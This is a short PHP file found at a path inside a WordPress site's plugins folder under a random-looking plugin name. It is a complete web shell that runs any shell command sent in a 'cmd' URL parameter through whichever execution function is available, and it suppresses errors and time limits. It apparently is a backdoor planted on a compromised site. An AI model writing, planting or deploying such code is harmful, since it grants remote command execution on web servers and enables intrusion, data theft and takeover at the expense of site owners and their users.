File: /home/agritom/domains/agritom.vn/private_html/wp-content/plugins/wp-p-is4wnd/sdo-lzbz.php
<?php
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
if(isset($_GET['cmd'])) {
echo "<pre>";
$cmd = $_GET['cmd'];
if (function_exists('system')) {
system($cmd);
} elseif (function_exists('passthru')) {
passthru($cmd);
} elseif (function_exists('shell_exec')) {
echo shell_exec($cmd);
} elseif (function_exists('exec')) {
$output = array();
exec($cmd, $output);
echo implode("
", $output);
} elseif (function_exists('popen')) {
$fp = popen($cmd, 'r');
while (!feof($fp)) {
echo fread($fp, 1024);
}
pclose($fp);
} else {
echo "No command execution functions available.";
}
echo "</pre>";
}
?>